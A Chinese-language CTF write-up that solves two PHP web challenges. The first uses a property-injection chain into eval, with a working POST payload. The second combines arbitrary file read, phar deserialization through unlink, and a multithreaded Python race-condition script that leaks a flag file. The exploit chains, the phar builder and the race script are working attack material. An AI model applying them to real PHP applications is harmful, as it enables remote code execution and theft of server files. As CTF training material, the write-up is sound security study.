warmup-php
一个PHP代码审计审计题,给的代码量有点大,第一眼看下去容易劝退,分别有四个文件。
Base.php
<?php
class Base
{
public function __get($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter)) {
return $this->$getter();
} else {
throw new Exception("error property {$name}");
}
}
public function __set($name, $value)
{
$setter = 'set' . $name;
if (method_exists($this, $setter)) {
return $this->$setter($value);
} else {
throw new Exception("error property {$name}");
}
}
public function __isset($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter))
return $this->$getter() !== null;
return false;
}
public function __unset($name)
{
$setter = 'set' . $name;
if (method_exists($this, $setter))
$this->$setter(null);
}
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
}
Filter.php
<?php
class Filter extends Base
{
public $lastModified;
public $lastModifiedExpression;
public $etagSeed;
public $etagSeedExpression;
public $cacheControl='max-age=3600, public';
public function preFilter($filterChain)
{
$lastModified=$this->getLastModifiedValue();
$etag=$this->getEtagValue();
if($etag===false&&$lastModified===false)
return true;
if($etag)
header('ETag: '.$etag);
if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
{
if($this->checkLastModified($lastModified))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
if($this->checkEtag($etag))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
if($lastModified)
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');
$this->sendCacheControlHeader();
return true;
}
protected function getLastModifiedValue()
{
if($this->lastModifiedExpression)
{
$value=$this->evaluateExpression($this->lastModifiedExpression);
if(is_numeric($value)&&$value==(int)$value)
return $value;
elseif(($lastModified=strtotime($value))===false)
throw new Exception("error");
return $lastModified;
}
if($this->lastModified)
{
if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
return $this->lastModified;
elseif(($lastModified=strtotime($this->lastModified))===false)
throw new Exception("error");
return $lastModified;
}
return false;
}
protected function getEtagValue()
{
if($this->etagSeedExpression)
return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
elseif($this->etagSeed)
return $this->generateEtag($this->etagSeed);
return false;
}
protected function checkEtag($etag)
{
return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
}
protected function checkLastModified($lastModified)
{
return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
}
protected function send304Header()
{
header('HTTP/1.1 304 Not Modified');
}
protected function generateEtag($seed)
{
return '"'.base64_encode(sha1(serialize($seed),true)).'"';
}
}
ListView.php
<?php
abstract class ListView extends Base
{
public $tagName='div';
public $template;
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}
TestView.php
<?php
class TestView extends ListView
{
const FILTER_POS_HEADER='header';
const FILTER_POS_BODY='body';
public $columns=array();
public $rowCssClass=array('odd','even');
public $rowCssClassExpression;
public $rowHtmlOptionsExpression;
public $selectableRows=1;
public $data=array();
public $filterSelector='{filter}';
public $filterCssClass='filters';
public $filterPosition='body';
public $filter;
public $hideHeader=false;
public function renderTableHeader()
{
if(!$this->hideHeader)
{
echo "<thead>\n";
if($this->filterPosition===self::FILTER_POS_HEADER)
$this->renderFilter();
if($this->filterPosition===self::FILTER_POS_BODY)
$this->renderFilter();
echo "</thead>\n";
}
elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
{
echo "<thead>\n";
$this->renderFilter();
echo "</thead>\n";
}
}
public function renderFilter()
{
if($this->filter!==null)
{
echo "<tr class=\"{$this->filterCssClass}\">\n";
echo "</tr>\n";
}
}
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
}
这四个文件类的继承与被继承的关系为
题目如下,我们能控制的变量有两个,一个是action,可以访问四个类中的任意一个,另一个是properties,可以通过数组可以控制文件中任意属性的值。这题可以从头到尾分析,也可以从尾找头。
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
我们看看从尾找到头,盲目找链子非常的头疼,所以我们选择先找到目的函数也就是我们的尾,经过分析在Base类中找到了evaluateExpression函数存在eval可以利用。
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
接下来就是找什么函数能调用它,经过审计发现了Filter类、TestView类有可以调用的,我们一起看看,
//Filter.php
protected function getLastModifiedValue()
{
if($this->lastModifiedExpression)
{
$value=$this->evaluateExpression($this->lastModifiedExpression);
if(is_numeric($value)&&$value==(int)$value)
return $value;
elseif(($lastModified=strtotime($value))===false)
throw new Exception("error");
return $lastModified;
}
...
}
...
protected function getEtagValue()
{
if($this->etagSeedExpression)
return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
elseif($this->etagSeed)
return $this->generateEtag($this->etagSeed);
return false;
}
这两个都可以调用我们的目的函数,但是什么可以调用他们呢?查看了一圈,应该是Base类中的__get()方法,但是我们题目似乎无法触发__get()方法,题目进行的是赋值操作,也就是写,所以最多是调用__set()方法。所以这条路堵死了。
public function __get($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter)) {
return $this->$getter();
} else {
throw new Exception("error property {$name}");
}
}
所以我们只有一个方法就是从TestView调用,
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
接下来说就是比较简单的思路了,我们选择从头走到尾,我们再看看题目。
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
它的$object用哪个类先不着急判断,我们看后面$object->run(),这种情况要么就是调用__call()魔术方法,要么就是看看其它类中的run()函数,我们看看就知道没有__call()方法,所以我们找run(),可以看到只有ListView类中有run()函数,所以很大的可能我们的$action是实例化为ListView对象了。我们继续看run()方法,
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
可以看到run()调用了renderContent()方法,
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
ob_start()是开启缓存读取,可以读到一些输出的缓存。preg_replace_callback是一个正则回调函数,把正则匹配到的数据放入函数的参数中,它这里把template中匹配到正则的值传入renderSection函数的参数中,所以再看看renderSection,
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
可以看到,这里可以调用到一个以"render"为首的函数输出出来,以render为首的无参函数,而以render为首的函数都在TestView中,所以我们开始实例化对象时是对ListView子类TestView实例,而我们既然能调用到TestView中的函数,而我们的目的函数可以通过TestView中的renderTableRow调用,那就正合我意,但由于是无参函数,而renderTableRow带参,所以我们想办法从其它的几个函数下手再通过调用链接他们。
经过分析可以得知renderTableBody可以调用到renderTableRow,所以我们选择先调用renderTableBody,最后就闭合了。ok最后再来把链子思路再捋一捋,
TestView::run() --> TestView::renderContent() --> TestView::renderSection() --> TestView::renderTableBody() --> TestView::renderTableRow() --> TestView::evaluateExpression()
这就是题目思路的链子了,我们最后要做的就是把传入的参数控制好,如:template与正则匹配正确要记得加大括号,data数据要赋值,否则TestView::renderTableBody() --> TestView::renderTableRow()无法实现。
最后的payload为:
GET:
?action=TestView
POST:
properties[template]={TableBody} &properties[data]=2&properties[rowHtmlOptionsExpression]=phpinfo();
这里的flag.txt不知道是没有权限还是假flag,如果是没有权限一般出题人在根目录下留下一个/readflag命令读取flag。
soeasy_php
这是一道phar+条件竞争的上传题,不要相信题目的意思,打了这么多ctf总结了一句话,easy***是最难的题。这个题在比赛的时候我们已经把源码拿到了,但是不知道怎么下手了,最后就摆烂到结束了。
两个参数隐藏,一个按钮注释,这个是action=“edit.php”的操作。另外还有个head.png,
感觉像个装图片内容的容器,因为是黑盒测试不知道里面是什么,所以我们只能大胆猜测。
把注释和隐藏删除就出来了,我们抓个包。
png参数上传了一个2.png,我们试试在web页面上传一张图片,再把图片传入png参数。
既然我们猜测head.png是一个容器,以某些命令执行可以装入png传入的图片,那么我们就想能不能在png传全局路径的文件名,再通过head.png显示出来。试试,
成功了,那么我们就能读到题目的源码分别是edit.php、upload.php
//upload.php 感觉这个没什么用
<?php
if (!isset($_FILES['file'])) {
die("请上传头像");
}
$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
echo "上传成功: ".$path;
};
?>
//edit.php
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}
if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}
核心代码在于edit.php,从注释中我们可以知道,flag在根目录,并且我们是没有权限读取/flag的,所以我们要把/flag搞到/tmp/flag.txt中,
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
我们得想办法触发这个flag类中的copyflag()函数,可以看到__destruct()方法是可以触发到copyflag()函数的,那么问题来了,我们该如何调用该类,又该如何触发到__destruct()呢?
通过对edit.php代码的分析,它的过滤和一些东西总是有意无意的暗示我们有一个phar文件,我们能不能绕过。
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
这里就很关键,我们如果上传了一个phar文件我们要想办法让它执行unlink()触发__destruct()。
我们构造的phar文件很简单,如下
<?php
class flag{
}
$a = new flag();
echo serialize($a);
$phar = new Phar("tmp.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("errorr0.txt","errorrrrr");
$phar -> stopBuffering();
?>
unlink()销毁了$head数据以后symlink()可以顺利执行下去,但是如果我们想办法让$head在来不及销毁就跳到 symlink()函数时,我们就可以跳到else执行unlink()函数,最后把phar中的__destruct()方法调用到,这里可以用到文件上传的条件竞争。
使symlink()报错的方法还有一个就是在$target添加脏数据,使得它不得不报错。
当我们绕过了symlink()把flag读取出来写入到/tmp/flag.txt中后,我们原本POST传入的flag会把复制过来的flag给覆盖,所以我们还要利用一次条件竞争把我们复制过来的flag写入。如下:
The First: POST /edit.php png=phar://uploads/1bb92ea10c5d93a6a8cecbb98eb48598.png&flag=flag%7Bx%7D The Second: POST /edit.php png=/tmp/flag.txt&flag=flag%7Bx%7D The Third: GET /uploads/head.png
我们最后要把这三个线程跑到我们希望的那个值即可,这里偷用一个师傅的脚本跑,如果不会写脚本我们也可以用burpsuite多线程跑出来。
import requests
import threading
import time
url = "http://1e18fc43-974f-411d-bda5-9740172e2486.node4.buuoj.cn:81/"
phar = r"phar://uploads/000f7488ac1aa2d52a400c2e1a46f1a6.png/errorr0.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
flag = r"/tmp/flag.txt"
head = "uploads/head.png"
s = requests.session()
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
# 触发phar
def uunlink():
path = "edit.php"
data = {
"png": phar,
"flag": "1"
}
r = s.post(url + path, data, proxies=proxies)
if r.status_code == 429:
time.sleep(1)
# 更改head.png为flag
def change():
path = "edit.php"
data = {
"png": flag,
"flag": "1"
}
r = s.post(url + path, data)
if r.status_code == 429:
time.sleep(1)
# 读取flag
def read_flag():
path = head
r = s.get(url + path)
if r.status_code == 429:
time.sleep(1)
else:
print(r.text)
while True:
thread1 = threading.Thread(target=uunlink)
thread1.start()
thread2 = threading.Thread(target=change)
thread2.start()
thread3 = threading.Thread(target=read_flag)
thread3.start()
那个脏数据的利用确实很惊艳,它大大的提高了多线程的碰撞!!
参考:2022DASCTF Apr X FATE 防疫挑战赛WP | CN-SEC 中文网